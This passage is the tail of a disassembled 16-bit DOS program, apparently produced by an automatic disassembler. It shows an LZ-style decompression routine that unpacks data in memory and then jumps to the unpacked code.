  710. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  711. ;                   SUBROUTINE
  712. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  713.  
  714. sub_14        proc    near
  715.         shr    bp,1            ; Shift w/zeros fill
  716.         dec    dl
  717.         jnz    loc_ret_38        ; Jump if not zero
  718.         lodsw                ; String [si] to ax
  719.         mov    bp,ax
  720.         mov    dl,10h
  721.  
  722. loc_ret_38:
  723.         retn
  724. sub_14        endp
  725.  
  726. loc_39:
  727.         call    sub_14
  728.         rcl    bh,1            ; Rotate thru carry
  729.         call    sub_14
  730.         jc    loc_42            ; Jump if carry Set
  731.         mov    dh,2
  732.         mov    cl,3
  733.  
  734. locloop_40:
  735.         call    sub_14
  736.         jc    loc_41            ; Jump if carry Set
  737.         call    sub_14
  738.         rcl    bh,1            ; Rotate thru carry
  739.         shl    dh,1            ; Shift w/zeros fill
  740.         loop    locloop_40        ; Loop if cx > 0
  741.  
  742. loc_41:
  743.         sub    bh,dh
  744. loc_42:
  745.         mov    dh,2
  746.         mov    cl,4
  747.  
  748. locloop_43:
  749.         inc    dh
  750.         call    sub_14
  751.         jc    loc_44            ; Jump if carry Set
  752.         loop    locloop_43        ; Loop if cx > 0
  753.  
  754.         call    sub_14
  755.         jnc    loc_45            ; Jump if carry=0
  756.         inc    dh
  757.         call    sub_14
  758.         jnc    loc_44            ; Jump if carry=0
  759.         inc    dh
  760. loc_44:
  761.         mov    cl,dh
  762.         jmp    short locloop_51
  763. loc_45:
  764.         call    sub_14
  765.         jc    loc_47            ; Jump if carry Set
  766.         mov    cl,3
  767.         mov    dh,0
  768.  
  769. locloop_46:
  770.         call    sub_14
  771.         rcl    dh,1            ; Rotate thru carry
  772.         loop    locloop_46        ; Loop if cx > 0
  773.  
  774.         add    dh,9
  775.         jmp    short loc_44
  776. loc_47:
  777.         lodsb                ; String [si] to al
  778.         mov    cl,al
  779.         add    cx,11h
  780.         jmp    short locloop_51
  781. loc_48:
  782.         mov    cl,3
  783.  
  784. locloop_49:
  785.         call    sub_14
  786.         rcl    bh,1            ; Rotate thru carry
  787.         loop    locloop_49        ; Loop if cx > 0
  788.  
  789.         dec    bh
  790. loc_50:
  791.         mov    cl,2
  792.  
  793. locloop_51:
  794.         mov    al,es:[bx+di]
  795.         stosb                ; Store al to es:[di]
  796.         loop    locloop_51        ; Loop if cx > 0
  797.  
  798. loc_52:
  799.         call    sub_14
  800.         jnc    loc_53            ; Jump if carry=0
  801.         movsb                ; Mov [si] to es:[di]
  802.         jmp    short loc_52
  803. loc_53:
  804.         call    sub_14
  805.         lodsb                ; String [si] to al
  806.         mov    bh,0FFh
  807.         mov    bl,al
  808.         jc    loc_39            ; Jump if carry Set
  809.         call    sub_14
  810.         jc    loc_48            ; Jump if carry Set
  811.         cmp    bh,bl
  812.         jne    loc_50            ; Jump if not equal
  813.         xor    bp,bp            ; Zero register
  814.         xor    di,di            ; Zero register
  815.         xor    si,si            ; Zero register
  816.         xor    dx,dx            ; Zero register
  817.         xor    bx,bx            ; Zero register
  818.         xor    ax,ax            ; Zero register
  819.         jmp    $-1480h
  820.  
  821. seg_a        ends
  822.  
  823.  
  824.  
  825.         end    start
  826.